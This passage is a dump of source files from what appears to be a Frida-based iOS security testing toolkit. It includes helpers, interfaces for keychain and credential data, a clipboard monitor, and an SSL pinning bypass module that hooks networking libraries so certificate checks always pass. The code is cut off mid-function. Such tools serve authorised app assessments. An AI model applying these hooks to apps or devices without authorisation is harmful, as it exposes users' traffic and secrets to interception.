tslint:disable-next-line:max-line-length\n//     NSApplicationSupportDirectory = 14,     // location of application support files (plug-ins, etc) (Library/Application Support)\n//\n//     [... snip ...]\n//\n// };\n\nexport enum NSSearchPaths {\n  NSApplicationDirectory = 1,\n  NSDemoApplicationDirectory,\n  NSDeveloperApplicationDirectory,\n  NSAdminApplicationDirectory,\n  NSLibraryDirectory,\n  NSDeveloperDirectory,\n  NSUserDirectory,\n  NSDocumentationDirectory,\n  NSDocumentDirectory,\n  NSCoreServiceDirectory,\n  NSAutosavedInformationDirectory,\n  NSDesktopDirectory,\n  NSCachesDirectory,\n  NSApplicationSupportDirectory,\n}\n\nexport const NSUserDomainMask = 1;\nexport const NSUTF8StringEncoding = 4;\n\nexport enum BundleType {\n  NSBundleFramework = 1,\n  NSBundleAllBundles,\n}\n"
  },
  {
    "path": "agent/src/ios/lib/helpers.ts",
    "content": "import { ObjC } from \"./libobjc.js\";\nimport type { default as ObjCTypes } from \"frida-objc-bridge\";\nimport { NSUTF8StringEncoding } from \"./constants.js\";\nimport {\n  NSBundle,\n  NSDictionary,\n  NSFileManager,\n  NSString as NSStringType\n} from \"./types.js\";\n\n// Attempt to unarchive data. Returning a string of `` indicates that the\n// unarchiving failed.\nexport const unArchiveDataAndGetString = (data: ObjCTypes.Object | any): string => {\n\n  try {\n\n    // tslint:disable-next-line:max-line-length\n    // https://developer.apple.com/documentation/foundation/nskeyedunarchiver/1574811-unarchivetoplevelobjectwithdata\n    // This one is marked as DEPRECATED, but seems to still be a thing in\n    // iOS 12. Ok for now.\n    const NSKeyedUnarchiver = ObjC.classes.NSKeyedUnarchiver;\n    const unArchivedData: any = NSKeyedUnarchiver.unarchiveTopLevelObjectWithData_error_(data, NULL);\n\n    // if we have a null value, this data is probably not archived\n    if (unArchivedData === null) {\n      return ``;\n    }\n\n    switch (unArchivedData.$className) {\n\n      case \"__NSDictionary\":\n      case \"__NSDictionaryI\":\n        const dict: NSDictionary = new ObjC.Object(unArchivedData);\n        const enumerator = dict.keyEnumerator();\n        let key: string;\n        const s: {[key: string]: any } = {};\n\n        // tslint:disable-next-line:no-conditional-assignment\n        while ((key = enumerator.nextObject()) !== null) {\n          s[key] = `${dict.objectForKey_(key)}`;\n        }\n\n        return JSON.stringify(s);\n\n      default:\n        return ``;\n    }\n\n  } catch (e) {\n    return data.toString();\n  }\n};\n\nexport const smartDataToString = (raw: any): string => {\n\n  if (raw === null) { return \"\"; }\n\n  try {\n\n    const dataObject: ObjCTypes.Object | any = new ObjC.Object(raw);\n\n    switch (dataObject.$className) {\n      case \"__NSCFData\":\n\n        try {\n          const unarchivedData: string = unArchiveDataAndGetString(dataObject);\n          if (unarchivedData.length > 0) {\n            return unarchivedData;\n          }\n          // tslint:disable-next-line:no-empty\n        } catch (e) { }\n\n        try {\n          const data: string = dataObject.readUtf8String(dataObject.length());\n          if (data.length > 0) {\n            return data;\n          }\n          // tslint:disable-next-line:no-empty\n        } catch (e) { }\n\n      case \"__NSCFNumber\":\n        return dataObject.integerValue();\n      case \"NSTaggedPointerString\":\n      case \"__NSDate\":\n      case \"__NSCFString\":\n      case \"__NSTaggedDate\":\n        return dataObject.toString();\n\n      default:\n        return `(could not get string for class: ${dataObject.$className})`;\n    }\n\n  } catch (e) {\n    return \"(failed to decode)\";\n  }\n};\n\nexport const bytesToUTF8 = (data: any): string => {\n  // Sample Objective-C\n  //\n  // char buf[] = \"\\x41\\x42\\x43\\x44\";\n  // NSString *p = [[NSString alloc] initWithBytes:buf length:5 encoding:NSUTF8StringEncoding];\n\n  if (data === null) {\n    return \"\";\n  }\n\n  if (!data.hasOwnProperty(\"bytes\")) {\n    return data.toString();\n  }\n\n  const s: NSStringType = ObjC.classes.NSString.alloc().initWithBytes_length_encoding_(\n    data.bytes(), data.length(), NSUTF8StringEncoding);\n\n  if (s) {\n    return s.UTF8String();\n  }\n\n  return \"\";\n};\n\nexport const bytesToHexString = (data: any): string => {\n  // https://stackoverflow.com/a/50767210\n  if (data == null) {\n    return \"\";\n  }\n  const buffer: ArrayBuffer = data.bytes().readByteArray(data.length());\n  return Array.from(new Uint8Array(buffer)).map((b) => (\"0\" + b.toString(16)).substr(-2)).join(\"\");\n};\n\nexport const getNSFileManager = (): NSFileManager => {\n  const NSFM = ObjC.classes.NSFileManager;\n  return NSFM.defaultManager();\n};\n\nexport const getNSMainBundle = (): NSBundle => {\n  const bundle = ObjC.classes.NSBundle;\n  return bundle.mainBundle();\n};\n\nexport const arrayBufferToHex = (arrayBuffer: ArrayBuffer | null): string => {\n  if (typeof arrayBuffer !== 'object' || arrayBuffer === null || typeof arrayBuffer.byteLength !== 'number') {\n    throw new TypeError('Expected input to be an ArrayBuffer');\n  }\n\n  const buffer = new Uint8Array(arrayBuffer);\n  let result = '';\n  let value;\n\n  for (const byte of buffer) {\n    value = byte.toString(16);\n    result += (value.length === 1 ? '0' + value : value);\n  }\n\n  return result;\n};\n\nexport const hexToString = (hexx: string): string => {\n  const hex = hexx.toString(); // force conversion\n  let str = '';\n  for (let i = 0; (i < hex.length && hex.substring(i, i+2) !== '00'); i += 2)\n    str += String.fromCharCode(parseInt(hex.substring(i, i+2), 16));\n  return str;\n};"
  },
  {
    "path": "agent/src/ios/lib/interfaces.ts",
    "content": "import { NSDictionary } from \"./types.js\";\n\nexport interface IKeychainData {\n  clazz: string;\n  data: NSDictionary;\n}\n\nexport interface IKeychainItem {\n  item_class: string;\n  create_date: string;\n  modification_date: string;\n  description: string;\n  comment: string;\n  creator: string;\n  type: string;\n  script_code: string;\n  alias: string;\n  invisible: string;\n  negative: string;\n  custom_icon: string;\n  protected: string;\n  access_control: string;\n  accessible_attribute: string;\n  entitlement_group: string;\n  generic: string;\n  service: string;\n  account: string;\n  label: string;\n  data: string;\n  dataHex: string;\n}\n\nexport interface IIosFileSystem {\n  files: any;\n  path: string;\n  readable: boolean;\n  writable: boolean;\n}\n\nexport interface IIosFilePath {\n  attributes: any;\n  fileName: string;\n  readable: boolean | undefined;\n  writable: boolean | undefined;\n}\n\nexport interface IIosCookie {\n  name: string;\n  version: string;\n  value: string;\n  expiresDate: string | undefined;\n  domain: string;\n  path: string;\n  isSecure: boolean;\n  isHTTPOnly: boolean;\n}\n\nexport interface ICredential {\n  authMethod: string;\n  host: string;\n  password: string;\n  port: string;\n  protocol: string;\n  user: string;\n}\n\nexport interface IFramework {\n  version: string | null;\n  executable: string | null;\n  bundle: string | null;\n  path: string | null;\n}\n\nexport interface IHeapObject {\n  className: string;\n  handle: string;\n  ivars: any[string];\n  kind: string;\n  methods: string[];\n  superClass: string;\n}\n\nexport interface IBinaryModuleDictionary {\n  [index: string]: IBinaryInfo;\n}\n\nexport interface IBinaryInfo {\n  arc: boolean;\n  canary: boolean;\n  encrypted: boolean;\n  pie: boolean;\n  rootSafe: boolean;\n  stackExec: boolean;\n  type: string;\n}\n"
  },
  {
    "path": "agent/src/ios/lib/libobjc.ts",
    "content": "import ObjC_bridge from \"frida-objc-bridge\";\n\nlet ObjC: typeof ObjC_bridge;\n// Compatibility with frida < 17\nif (globalThis.ObjC) {\n  ObjC = globalThis.ObjC\n} else {\n  ObjC = ObjC_bridge\n}\n\nexport { ObjC }\n\nconst nativeExports: any = {\n  // iOS keychain methods\n  SecAccessControlGetConstraints: {\n    argTypes: [\"pointer\"],\n    exportName: \"SecAccessControlGetConstraints\",\n    moduleName: \"Security\",\n    retType: \"pointer\",\n  },\n  SecItemAdd: {\n    argTypes: [\"pointer\", \"pointer\"],\n    exportName: \"SecItemAdd\",\n    moduleName: \"Security\",\n    retType: \"pointer\",\n  },\n  SecItemCopyMatching: {\n    argTypes: [\"pointer\", \"pointer\"],\n    exportName: \"SecItemCopyMatching\",\n    moduleName: \"Security\",\n    retType: \"pointer\",\n  },\n  SecItemDelete: {\n    argTypes: [\"pointer\"],\n    exportName: \"SecItemDelete\",\n    moduleName: \"Security\",\n    retType: \"pointer\",\n  },\n  SecItemUpdate: {\n    argTypes: [\"pointer\", \"pointer\"],\n    exportName: \"SecItemUpdate\",\n    moduleName: \"Security\",\n    retType: \"pointer\",\n  },\n\n  // SSL pinning methods\n  SSLCreateContext: {\n    argTypes: [\"pointer\", \"int\", \"int\"],\n    exportName: \"SSLCreateContext\",\n    moduleName: \"Security\",\n    retType: \"pointer\",\n  },\n  SSLHandshake: {\n    argTypes: [\"pointer\"],\n    exportName: \"SSLHandshake\",\n    moduleName: \"Security\",\n    retType: \"int\",\n  },\n  SSLSetSessionOption: {\n    argTypes: [\"pointer\", \"int\", \"bool\"],\n    exportName: \"SSLSetSessionOption\",\n    moduleName: \"Security\",\n    retType: \"int\",\n  },\n\n  // iOS 10+ TLS methods\n  nw_tls_create_peer_trust: {\n    argTypes: [\"pointer\", \"bool\", \"pointer\"],\n    exportName: \"nw_tls_create_peer_trust\",\n    moduleName: \"libnetwork.dylib\",\n    retType: \"int\",\n  },\n  tls_helper_create_peer_trust: {\n    argTypes: [\"pointer\", \"bool\", \"pointer\"],\n    exportName: \"tls_helper_create_peer_trust\",\n    moduleName: \"libcoretls_cfhelpers.dylib\",\n    retType: \"int\",\n  },\n\n  // iOS 11+ libboringssl methods\n  SSL_CTX_set_custom_verify: {\n    argTypes: [\"pointer\", \"int\", \"pointer\"],\n    exportName: \"SSL_CTX_set_custom_verify\",\n    moduleName: \"libboringssl.dylib\",\n    retType: \"void\",\n  },\n  SSL_get_psk_identity: {\n    argTypes: [\"pointer\"],\n    exportName: \"SSL_get_psk_identity\",\n    moduleName: \"libboringssl.dylib\",\n    retType: \"pointer\",\n  },\n\n  // iOS 13+ libboringssl methods\n  SSL_set_custom_verify: {\n    argTypes: [\"pointer\", \"int\", \"pointer\"],\n    exportName: \"SSL_set_custom_verify\",\n    moduleName: \"libboringssl.dylib\",\n    retType: \"void\",\n  },\n};\n\nconst api: any = {\n  SecAccessControlGetConstraints: null,\n  SecItemAdd: null,\n  SecItemCopyMatching: null,\n  SecItemUpdate: null,\n  SecItemDelete: null,\n\n  SSLCreateContext: null,\n  SSLHandshake: null,\n  SSLSetSessionOption: null,\n\n  nw_tls_create_peer_trust: null,\n  tls_helper_create_peer_trust: null,\n\n  SSL_CTX_set_custom_verify: null,\n  SSL_get_psk_identity: null,\n\n  SSL_set_custom_verify: null,\n};\n\n// proxy method resolution\nexport const libObjc = new Proxy(api, {\n  get: (target, key) => {\n\n    if (target[key] === null) {\n      const mod = Process.findModuleByName(nativeExports[key].moduleName)\n      var tgt = new NativePointer(0x00);\n      if (mod != null) {\n        tgt = mod.findExportByName(nativeExports[key].exportName) || new NativePointer(0x00);\n      }\n     \n      target[key] = new NativeFunction(tgt,\n        nativeExports[key].retType, nativeExports[key].argTypes);\n    }\n\n    return target[key];\n  },\n});\n"
  },
  {
    "path": "agent/src/ios/lib/types.ts",
    "content": "import type { default as ObjCTypes } from \"frida-objc-bridge\";\n\nexport type NSDictionary = ObjCTypes.Object | any;\nexport type NSMutableDictionary = ObjCTypes.Object | any;\nexport type NSString = ObjCTypes.Object | any;\nexport type NSFileManager = ObjCTypes.Object | any;\nexport type NSBundle = ObjCTypes.Object | any;\nexport type NSUserDefaults = ObjCTypes.Object | any;\nexport type NSHTTPCookieStorage = ObjCTypes.Object | any;\nexport type NSURLCredentialStorage = ObjCTypes.Object | any;\nexport type NSArray = ObjCTypes.Object | any;\nexport type NSData = ObjCTypes.Object | any;\n\nexport type CFDictionaryRef = any;\nexport type CFTypeRef = any;\n"
  },
  {
    "path": "agent/src/ios/nsuserdefaults.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport {\n  NSDictionary,\n  NSUserDefaults\n} from \"./lib/types.js\";\n\n\nexport const get = (): NSUserDefaults | any => {\n  // -- Sample Objective-C\n  //\n  // NSUserDefaults *d = [[NSUserDefaults alloc] init];\n  // NSLog(@\"%@\", [d dictionaryRepresentation]);\n\n  const defaults: NSUserDefaults = ObjC.classes.NSUserDefaults;\n  const data: NSDictionary = defaults.alloc().init().dictionaryRepresentation();\n\n  return data.toString();\n};\n"
  },
  {
    "path": "agent/src/ios/pasteboard.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport { colors as c } from \"../lib/color.js\";\n\n\nexport const monitor = (): void => {\n  // -- Sample Objective-C\n  //\n  // UIPasteboard *pb = [UIPasteboard generalPasteboard];\n  // NSLog(@\"%@\", [pb string]);\n  // NSLog(@\"%@\", [pb image]);\n\n  const UIPasteboard = ObjC.classes.UIPasteboard;\n  const Pasteboard = UIPasteboard.generalPasteboard();\n  let data: string = \"\";\n\n  setInterval(() => {\n    const currentString = Pasteboard.string().toString();\n\n    // do nothing if the strings are the same as the last one\n    // we know about\n    if (currentString === data) { return; }\n\n    // update the string_data with the new string\n    data = currentString;\n\n    // ... and send the update along\n    send(`${c.blackBright(`[pasteboard-monitor]`)} Data: ${c.greenBright(data.toString())}`);\n\n    // 5 second poll\n  }, 1000 * 5);\n};\n"
  },
  {
    "path": "agent/src/ios/pinning.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport { qsend } from \"../lib/helpers.js\";\nimport * as jobs from \"../lib/jobs.js\";\nimport { \n  libObjc, \n  ObjC \n} from \"./lib/libobjc.js\";\nimport type { default as ObjCTypes } from \"frida-objc-bridge\";\n\n// These hooks attempt many ways to kill SSL pinning and certificate\n// validations. The first sections search for common libraries and\n// class methods used in many examples online to demonstrate how\n// to pin SSL certificates.\n\n// As far as libraries and classes go, this hook searches for:\n//\n//  - AFNetworking.\n//      AFNetworking has a very easy pinning feature that can be disabled\n//      by setting the 'PinningMode' to 'None'.\n//\n//  - NSURLSession.\n//      NSURLSession makes use of a delegate method with the signature\n//      'URLSession:didReceiveChallenge:completionHandler:' that allows\n//      developers to extract the server presented certificate and make\n//      decisions to complete the request or cancel it. The hook for this\n//      Class searches for the selector and replaces it one that will\n//      continue regardless of the logic in this method, and apply the\n//      original block as a callback, with a successful return.\n//\n//  - NSURLConnection.\n//      While an old method, works similar to NSURLSession, except there is\n//      no completionHandler block, so just the successful challenge is returned.\n\n// The more 'lower level' stuff is basically a reimplementation of the commonly\n// known 'SSL-Killswitch2'[1], which hooks and replaces lower level certificate validation\n// methods with ones that will always pass. An important note should be made on the\n// implementation changes from iOS9 to iOS10 as detailed here[2]. This hook also tries\n// to implement those for iOS10.\n//  [1] https://github.com/nabla-c0d3/ssl-kill-switch2/blob/master/SSLKillSwitch/SSLKillSwitch.m\n//  [2] https://nabla-c0d3.github.io/blog/2017/02/05/ios10-ssl-kill-switch/\n\n// Many apps implement the SSL pinning in interesting ways, if this hook fails, all\n// is not lost yet. Sometimes, there is a method that just checks some configuration\n// item somewhere, and returns a BOOL, indicating whether pinning is applicable or\n// not. So, hunt that method and hook it :)\n\n\n// a simple flag to control if we should be quiet or not\nlet quiet: boolean = false;\n\nconst afNetworking = (ident: number): InvocationListener[] => {\n  const { AFHTTPSessionManager, AFSecurityPolicy } = ObjC.classes;\n\n  // If AFNetworking is not a thing, just move on.\n  if (!(AFHTTPSessionManager && AFSecurityPolicy)) {\n    return [];\n  }\n\n  send(c.blackBright(`[${ident}] `) + `Found AFNetworking library. Hooking known pinning methods.`);\n\n  // -[AFSecurityPolicy setSSLPinningMode:]\n  const setSSLPinningmode: InvocationListener = Interceptor.attach(\n    AFSecurityPolicy[\"- setSSLPinningMode:\"].implementation, {\n    onEnter(args) {\n      // typedef NS_ENUM(NSUInteger, AFSSLPinningMode) {\n      //     AFSSLPinningModeNone,\n      //     AFSSLPinningModePublicKey,\n      //     AFSSLPinningModeCertificate,\n      // };\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `[AFNetworking] Called ` +\n        c.green(`-[AFSecurityPolicy setSSLPinningMode:]`) + ` with mode ` +\n        c.red(args[2].toString()),\n      );\n\n      if (!args[2].isNull()) {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `[AFNetworking] ` +\n          c.blueBright(`Altered `) +\n          c.green(`-[AFSecurityPolicy setSSLPinningMode:]`) + ` mode to ` +\n          c.green(`0x0`),\n        );\n\n        // update mode to 0 (AFSSLPinningModeNone), bypassing it.\n        args[2] = new NativePointer(0x0);\n      }\n    },\n  });\n\n  // -[AFSecurityPolicy setAllowInvalidCertificates:]\n  const setAllowInvalidCertificates: InvocationListener = Interceptor.attach(\n    AFSecurityPolicy[\"- setAllowInvalidCertificates:\"].implementation, {\n    onEnter(args) {\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `[AFNetworking] Called ` +\n        c.green(`-[AFSecurityPolicy setAllowInvalidCertificates:]`) + ` with allow ` +\n        c.red(args[2].toString()),\n      );\n\n      if (args[2].equals(new NativePointer(0x0))) {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `[AFNetworking] ` +\n          c.blueBright(`Altered `) +\n          c.green(`-[AFSecurityPolicy setAllowInvalidCertificates:]`) + ` allow to ` +\n          c.green(`0x1`),\n        );\n\n        // Basically, do [policy setAllowInvalidCertificates:YES];\n        args[2] = new NativePointer(0x1);\n      }\n    },\n  });\n\n  // +[AFSecurityPolicy policyWithPinningMode:]\n  const policyWithPinningMode: InvocationListener = Interceptor.attach(\n    AFSecurityPolicy[\"+ policyWithPinningMode:\"].implementation, {\n    onEnter(args) {\n      // typedef NS_ENUM(NSUInteger, AFSSLPinningMode) {\n      //     AFSSLPinningModeNone,\n      //     AFSSLPinningModePublicKey,\n      //     AFSSLPinningModeCertificate,\n      // };\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `[AFNetworking] Called ` +\n        c.green(`+[AFSecurityPolicy policyWithPinningMode:]`) + ` with mode ` +\n        c.red(args[2].toString()),\n      );\n\n      if (!args[2].isNull()) {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `[AFNetworking] ` +\n          c.blueBright(`Altered `) +\n          c.green(`+[AFSecurityPolicy policyWithPinningMode:]`) + ` mode to ` +\n          c.green(`0x0`),\n        );\n\n        // effectively set to AFSSLPinningModeNone\n        args[2] = new NativePointer(0x0);\n      }\n    },\n  });\n\n  // +[AFSecurityPolicy policyWithPinningMode:withPinnedCertificates:]\n  const policyWithPinningModewithPinnedCertificates: InvocationListener | null =\n    (AFSecurityPolicy[\"+ policyWithPinningMode:withPinnedCertificates:\"]) ? Interceptor.attach(\n      AFSecurityPolicy[\"+ policyWithPinningMode:withPinnedCertificates:\"].implementation, {\n      onEnter(args) {\n        // typedef NS_ENUM(NSUInteger, AFSSLPinningMode) {\n        //     AFSSLPinningModeNone,\n        //     AFSSLPinningModePublicKey,\n        //     AFSSLPinningModeCertificate,\n        // };\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `[AFNetworking] Called ` +\n          c.green(`+[AFSecurityPolicy policyWithPinningMode:withPinnedCertificates:]`) + ` with mode ` +\n          c.red(args[2].toString()),\n        );\n\n        if (!args[2].isNull()) {\n          qsend(quiet,\n            c.blackBright(`[${ident}] `) + `[AFNetworking] ` +\n            c.blueBright(`Altered `) +\n            c.green(`+[AFSecurityPolicy policyWithPinningMode:withPinnedCertificates:]`) + ` mode to ` +\n            c.green(`0x0`),\n          );\n\n          // effectively set to AFSSLPinningModeNone\n          args[2] = new NativePointer(0x0);\n        }\n      },\n    }) : null;\n\n  return [\n    setSSLPinningmode,\n    setAllowInvalidCertificates,\n    policyWithPinningMode,\n    ...(policyWithPinningModewithPinnedCertificates ? [policyWithPinningModewithPinnedCertificates] : []),\n  ];\n};\n\nconst nsUrlSession = (ident: number): InvocationListener[] => {\n  const NSURLCredential: ObjCTypes.Object = ObjC.classes.NSURLCredential;\n  const resolver = new ApiResolver(\"objc\");\n  // - [NSURLSession URLSession:didReceiveChallenge:completionHandler:]\n  const search: ApiResolverMatch[] = resolver.enumerateMatches(\n    \"-[* URLSession:didReceiveChallenge:completionHandler:]\");\n\n  // Move along if no NSURLSession usage is found\n  if (search.length <= 0) {\n    return [];\n  }\n\n  send(c.blackBright(`Found NSURLSession based classes. Hooking known pinning methods.`));\n\n  // hook all of the methods that matched the selector\n  return search.map((i) => {\n    return Interceptor.attach(i.address, {\n      onEnter(args) {\n        // 0\n        // 1\n        // 2 URLSession\n        // 3 didReceiveChallenge\n        // 4 completionHandler\n        const receiver = new ObjC.Object(args[0]);\n        const selector = ObjC.selectorAsString(args[1]);\n        const challenge = new ObjC.Object(args[3]);\n\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `[AFNetworking] Called ` +\n          c.green(`-[${receiver} ${selector}]`) + `, ensuring pinning is passed`,\n        );\n\n        // get the original completion handler, and save it\n        const completionHandler = new ObjC.Block(args[4]);\n        const savedCompletionHandler = completionHandler.implementation;\n\n        // ignore everything the original method wanted to do,\n        // and prepare the successful arguments for the original\n        // completion handler\n        completionHandler.implementation = () => {\n          // Example handler source\n\n          // SecTrustRef serverTrust = challenge.protectionSpace.serverTrust;\n          // SecCertificateRef certificate = SecTrustGetCertificateAtIndex(serverTrust, 0);\n          // NSData *remoteCertificateData = CFBridgingRelease(SecCertificateCopyData(certificate));\n          // NSString *cerPath = [[NSBundle mainBundle] pathForResource:@\"swapi.co\" ofType:@\"der\"];\n          // NSData *localCertData = [NSData dataWithContentsOfFile:cerPath];\n\n          // if ([remoteCertificateData isEqualToData:localCertData]) {\n\n          //     NSURLCredential *credential = [NSURLCredential credentialForTrust:serverTrust];\n          //     [[challenge sender] useCredential:credential forAuthenticationChallenge:challenge];\n          //     completionHandler(NSURLSessionAuthChallengeUseCredential, credential);\n\n          // } else {\n\n          //     [[challenge sender] cancelAuthenticationChallenge:challenge];\n          //     completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil);\n          // }\n          const credential = NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());\n          challenge.sender().useCredential_forAuthenticationChallenge_(credential, challenge);\n\n          // typedef NS_ENUM(NSInteger, NSURLSessionAuthChallengeDisposition) {\n          //     NSURLSessionAuthChallengeUseCredential = 0,\n          //     NSURLSessionAuthChallengePerformDefaultHandling = 1,\n          //     NSURLSessionAuthChallengeCancelAuthenticationChallenge = 2,\n          //     NSURLSessionAuthChallengeRejectProtectionSpace = 3,\n          // } NS_ENUM_AVAILABLE(NSURLSESSION_AVAILABLE, 7_0);\n          savedCompletionHandler(0, credential);\n        };\n      },\n    });\n  });\n};\n\n// TrustKit\nconst trustKit = (ident: number): InvocationListener | null => {\n  // https://github.com/datatheorem/TrustKit/blob/\n  //  71878dce8c761fc226fecc5dbb6e86fbedaee05e/TrustKit/TSKPinningValidator.m#L84\n  if (!ObjC.classes.TSKPinningValidator) {\n    return null;\n  }\n\n  send(c.blackBright(`[${ident}] `) + `Found TrustKit. Hooking known pinning methods.`);\n\n  return Interceptor.attach(ObjC.classes.TSKPinningValidator[\"- evaluateTrust:forHostname:\"].implementation, {\n    onLeave(retval) {\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `[TrustKit] Called ` +\n        c.green(`-[TSKPinningValidator evaluateTrust:forHostname:]`) + ` with result ` +\n        c.red(retval.toString()),\n      );\n\n      if (!retval.isNull()) {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `[TrustKit] ` +\n          c.blueBright(`Altered `) +\n          c.green(`-[TSKPinningValidator evaluateTrust:forHostname:]`) + ` mode to ` +\n          c.green(`0x0`),\n        );\n\n        retval.replace(new NativePointer(0x0));\n      }\n    },\n  });\n};\n\nconst cordovaCustomURLConnectionDelegate = (ident: number): InvocationListener | null => {\n  // https://github.com/EddyVerbruggen/SSLCertificateChecker-PhoneGap-Plugin/blob/\n  //  67634bfdf4a31bb09b301db40f8f27fbd8818f61/src/ios/SSLCertificateChecker.m#L109-L116\n  if (!ObjC.classes.CustomURLConnectionDelegate) {\n    return null;\n  }\n\n  send(c.blackBright(`[${ident}] `) + `Found SSLCertificateChecker-PhoneGap-Plugin.` +\n    ` Hooking known pinning methods.`);\n\n  return Interceptor.attach(ObjC.classes.CustomURLConnectionDelegate[\"- isFingerprintTrusted:\"].implementation, {\n    onLeave(retval) {\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `[SSLCertificateChecker-PhoneGap-Plugin] Called ` +\n        c.green(`-[CustomURLConnectionDelegate isFingerprintTrusted:]`) + ` with result ` +\n        c.red(retval.toString()),\n      );\n\n      if (retval.isNull()) {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `[SSLCertificateChecker-PhoneGap-Plugin] ` +\n          c.blueBright(`Altered `) +\n          c.green(`-[CustomURLConnectionDelegate isFingerprintTrusted:]`) + ` mode to ` +\n          c.green(`0x1`),\n        );\n\n        retval.replace(new NativePointer(0x1));\n      }\n    },\n  });\n};\n\nconst sSLSetSessionOption = (ident: number): NativePointerValue => {\n  const kSSLSessionOptionBreakOnServerAuth = 0;\n  const noErr = 0;\n  const SSLSetSessionOption = libObjc.SSLSetSessionOption;\n\n  Interceptor.replace(SSLSetSessionOption, new NativeCallback((context, option, value) => {\n    // Remove the ability to modify the value of the kSSLSessionOptionBreakOnServerAuth option\n    //  ^ from SSL-Kill-Switch2 sources\n    // https://github.com/nabla-c0d3/ssl-kill-switch2/blob/\n    //  f7e73a2044340d59f2b96d972afcbc3c2f50ab27/SSLKillSwitch/SSLKillSwitch.m#L70\n    if (option === kSSLSessionOptionBreakOnServerAuth) {\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `Called ` +\n        c.green(`SSLSetSessionOption()`) +\n        `, removing ability to modify kSSLSessionOptionBreakOnServerAuth.`,\n      );\n      return noErr;\n    }\n\n    return SSLSetSessionOption(context, option, value);\n  }, \"int\", [\"pointer\", \"int\", \"bool\"]));\n\n  return SSLSetSessionOption;\n};\n\nconst sSLCreateContext = (ident: number): NativePointerValue => {\n  const kSSLSessionOptionBreakOnServerAuth = 0;\n  const SSLSetSessionOption = libObjc.SSLSetSessionOption;\n  const SSLCreateContext = libObjc.SSLCreateContext;\n\n  Interceptor.replace(SSLCreateContext, new NativeCallback((alloc, protocolSide, connectionType) => {\n    // Immediately set the kSSLSessionOptionBreakOnServerAuth option in order to disable cert validation\n    //  ^ from SSL-Kill-Switch2 sources\n    //  https://github.com/nabla-c0d3/ssl-kill-switch2/blob/\n    //    f7e73a2044340d59f2b96d972afcbc3c2f50ab27/SSLKillSwitch/SSLKillSwitch.m#L89\n    const sslContext = SSLCreateContext(alloc, protocolSide, connectionType);\n    SSLSetSessionOption(sslContext, kSSLSessionOptionBreakOnServerAuth, 1);\n\n    qsend(quiet,\n      c.blackBright(`[${ident}] `) + `Called ` +\n      c.green(`SSLCreateContext()`) +\n      `, setting kSSLSessionOptionBreakOnServerAuth to disable cert validation.`,\n    );\n\n    return sslContext;\n  }, \"pointer\", [\"pointer\", \"int\", \"int\"]));\n\n  return SSLCreateContext;\n};\n\nconst sSLHandshake = (ident: number): NativePointerValue => {\n  const errSSLServerAuthCompared = -9481;\n  const SSLHandshake = libObjc.SSLHandshake;\n\n  Interceptor.replace(SSLHandshake, new NativeCallback((context) => {\n    const result = SSLHandshake(context);\n\n    if (result === errSSLServerAuthCompared) {\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `Called ` +\n        c.green(`SSLHandshake()`) +\n        `, calling again to skip certificate validation.`,\n      );\n\n      return SSLHandshake(context);\n    }\n    return result;\n  }, \"int\", [\"pointer\"]));\n\n  return SSLHandshake;\n};\n\n// tls_helper_create_peer_trust\nconst tlsHelperCreatePeerTrust = (ident: number): NativePointerValue => {\n  const noErr = 0;\n  const tlsHelper = libObjc.tls_helper_create_peer_trust;\n\n  if (tlsHelper.isNull()) {\n    return NULL;\n  }\n\n  Interceptor.replace(tlsHelper, new NativeCallback((hdsk, server, SecTrustRef) => {\n    qsend(quiet,\n      c.blackBright(`[${ident}] `) + `Called ` +\n      c.green(`tls_helper_create_peer_trust()`) +\n      `, returning noErr.`,\n    );\n\n    return noErr;\n  }, \"int\", [\"pointer\", \"bool\", \"pointer\"]));\n\n  return tlsHelper;\n};\n\n// nw_tls_create_peer_trust\nconst nwTlsCreatePeerTrust = (ident: number): InvocationListener | null => {\n  const peerTrust = libObjc.nw_tls_create_peer_trust;\n\n  if (peerTrust.isNull()) {\n    return null;\n  }\n\n  return Interceptor.attach(peerTrust, {\n    onEnter: () => {\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `Called ` +\n        c.green(`nw_tls_create_peer_trust()`) +\n        `, ` +\n        c.red(`no working bypass implemented yet.`),\n      );\n    },\n  });\n\n  // TODO: nw_tls_create_peer_trust() always returns 0, but also seems to have\n  // some internal logic that makes a simple replacement not work.\n  //\n  // const noErr = 0;\n  // Interceptor.replace(peerTrust, new NativeCallback((hdsk, server, SecTrustRef) => {\n  //   send(\n  //     c.blackBright(`[${ident}] `) + `Called ` +\n  //     c.green(`nw_tls_create_peer_trust()`) +\n  //     `, returning noErr.`,\n  //   );\n\n  //   return noErr;\n  // }, \"int\", [\"pointer\", \"bool\", \"pointer\"]));\n\n  // return peerTrust;\n};\n\n// SSL_CTX_set_custom_verify\nconst sSLCtxSetCustomVerify = (ident: number): NativePointerValue[] => {\n  const getPskIdentity = libObjc.SSL_get_psk_identity;\n  let setCustomVerify = libObjc.SSL_set_custom_verify;\n  if (setCustomVerify.isNull()) {\n    send(c.blackBright(`SSL_set_custom_verify not found, trying SSL_CTX_set_custom_verify`));\n    setCustomVerify = libObjc.SSL_CTX_set_custom_verify;\n  }\n\n  if (setCustomVerify.isNull() || getPskIdentity.isNull()) {\n    return [];\n  }\n\n  // tslint:disable-next-line:only-arrow-functions variable-name\n  const customVerifyCallback = new NativeCallback(function (ssl, out_alert) {\n    qsend(quiet,\n      c.blackBright(`[${ident}] `) + `Called ` +\n      c.green(`custom SSL context verify callback`) +\n      `, returning 